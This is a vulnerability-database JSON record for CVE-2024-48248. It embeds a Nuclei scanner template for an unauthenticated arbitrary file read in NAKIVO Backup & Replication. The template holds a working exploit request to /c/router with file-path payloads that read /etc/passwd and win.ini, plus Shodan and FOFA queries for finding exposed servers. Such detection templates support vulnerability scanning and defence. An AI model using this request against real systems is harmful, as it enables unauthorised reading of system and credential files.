{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2024-48248/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2024-48248/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2024-48248/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2024-48248/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2024-48248/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2024-48248"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2024-48248"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2024/CVE-2024-48248.yaml",
    "nuclei_template_severity": "high",
    "nuclei_template_yaml": "id: CVE-2024-48248\n\ninfo:\n  name: NAKIVO Backup and Replication Solution - Unauthenticated Arbitrary File Read\n  author: DhiyaneshDK\n  severity: high\n  description: |\n    NAKIVO Backup & Replication is a data protection solution used for backing up and restoring virtualized and physical environments. A vulnerability has been identified in certain versions of NAKIVO Backup & Replication that allows an unauthenticated attacker to read arbitrary files on the underlying system.\n  impact: |\n    Unauthenticated attackers can read arbitrary files from the NAKIVO Backup & Replication server.\n  remediation: |\n    Update NAKIVO Backup & Replication to a version that patches CVE-2024-48248.\n  reference:\n    - https://labs.watchtowr.com/the-best-security-is-when-we-all-agree-to-keep-everything-secret-except-the-secrets-nakivo-backup-replication-cve-2024-48248/\n  classification:\n    epss-score: 0.94356\n    epss-percentile: 0.99849\n  metadata:\n    verified: true\n    max-request: 1\n    shodan-query: title:\"NAKIVO\"\n    fofa-query: title=\"NAKIVO\"\n  tags: cve,cve2024,nakivo,backup,lfi,kev,vkev,vuln\n\nvariables:\n  string: \"{{to_lower(rand_base(5))}}\"\n\nhttp:\n  - raw:\n      - |\n        POST /c/router HTTP/1.1\n        Host: {{Hostname}}\n        Accept-Encoding: gzip, deflate, br\n        Accept: */*\n        Connection: keep-alive\n        Content-Type: application/json\n\n        {\"action\": \"STPreLoadManagement\", \"data\": [\"{{path}}\"], \"method\": \"getImageByPath\", \"sid\": \"\", \"tid\": \"{{string}}\", \"type\": \"{{string}}\"}\n\n    payloads:\n      path:\n        - /etc/passwd\n        - C:/windows/win.ini\n\n    stop-at-first-match: true\n    matchers-condition: or\n    matchers:\n      - type: dsl\n        name: linux\n        dsl:\n          - \"regex('114,111,111,116,58,.*,58,48,58,48,58', body)\"\n          - \"contains(body, 'STPreLoadManagement')\"\n          - \"status_code == 200\"\n        condition: and\n\n      - type: dsl\n        name: windows\n        dsl:\n          - \"contains(body, '59,32,102,111,114')\"\n          - \"contains(body, 'STPreLoadManagement')\"\n          - \"status_code == 200\"\n        condition: and\n# digest: 490a0046304402207bb010fcaa60b418f6d4b72bbb2126386e12a0eeb7210f27538a082289e03591022059b3a94b2a13d533b81842bd57170b2fb85d1b42bf8bfae69eea0ae46becf6ee:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2024-48248"
}